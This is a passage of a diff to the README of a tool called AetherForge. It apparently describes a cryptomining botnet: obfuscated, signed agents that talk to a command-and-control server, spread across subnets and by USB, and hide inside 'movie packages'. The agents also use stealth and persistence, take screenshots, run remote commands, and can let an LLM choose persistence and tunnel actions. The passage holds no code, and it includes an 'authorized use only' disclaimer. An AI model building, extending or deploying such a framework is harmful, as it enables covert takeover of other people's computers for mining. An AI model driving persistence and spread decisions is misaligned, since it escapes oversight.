Open **http://localhost:8989** and sign in with your configured users.
|
||||
|
||||
### Run the test suite
|
||||
|
||||
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
|
||||
```bat
|
||||
test.bat
|
||||
```
|
||||
|
||||
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
|
||||
Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.
|
||||
|
||||
With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).
|
||||
|
||||
### Dashboard dev server
|
||||
|
||||
@@ -326,18 +377,37 @@ cd server\web
|
||||
npm run dev
|
||||
```
|
||||
|
||||
Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.
|
||||
Vite proxies `/api` and `/ws` to `localhost:8989`.
|
||||
|
||||
### Tech stack (dashboard)
|
||||
|
||||
| Package | Version policy |
|
||||
|---------|----------------|
|
||||
| Package | Version |
|
||||
|---------|---------|
|
||||
| React | 18.x |
|
||||
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
|
||||
| `@react-three/fiber` | 8.x |
|
||||
| `@react-three/drei` | 9.x |
|
||||
| Vite | 5.x |
|
||||
|
||||
**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.
|
||||
> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.
|
||||
|
||||
---
|
||||
|
||||
## Under the Hood
|
||||
|
||||
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
|
||||
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
|
||||
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
|
||||
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
|
||||
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
|
||||
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
|
||||
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
|
||||
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
||||
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly
|
||||
|
||||
---
|
||||
|
||||
@@ -345,17 +415,21 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|
||||
|
||||
| Symptom | Likely cause | Fix |
|
||||
|---------|----------------|-----|
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
|
||||
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
|
||||
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
|
||||
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
|
||||
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |
|
||||
|
||||
---
|
||||
|
||||
## Known Issues
|
||||
|
||||
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.
|
||||
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.
|
||||
|
||||
---
|
||||
|
||||
@@ -365,34 +439,27 @@ See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers,
|
||||
|
||||
### Authorized use only
|
||||
|
||||
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.
|
||||
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.
|
||||
|
||||
By using this software you agree that:
|
||||
|
||||
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
||||
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
||||
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
|
||||
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
|
||||
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
||||
|
||||
### What this is NOT
|
||||
|
||||
- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
|
||||
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
|
||||
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.
|
||||
|
||||
### Pool & earnings
|
||||
|
||||
- Use a **valid Monero wallet address you control**.
|
||||
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
|
||||
- This project does not guarantee profitability, uptime, or pool compatibility.
|
||||
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
|
||||
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.
|
||||
|
||||
### Security responsibility
|
||||
|
||||
- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
|
||||
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
|
||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
|
||||
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
|
||||
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
|
||||
- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once).
|
||||
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
|
||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
|
||||
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.
|
||||
|
||||
### Disclaimer
|
||||
|
||||
@@ -410,5 +477,5 @@ Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.ga
|
||||
|
||||
<p align="center">
|
||||
<strong>AetherForge</strong> — LAN MINING COMMAND<br/>
|
||||
<sub>Calibrate · Forge · Deploy · Command</sub>
|
||||
<sub>Calibrate · Forge · Deploy · Spread · Command</sub>
|
||||
</p>
|
||||
|
||||
Reference in New Issue
Block a user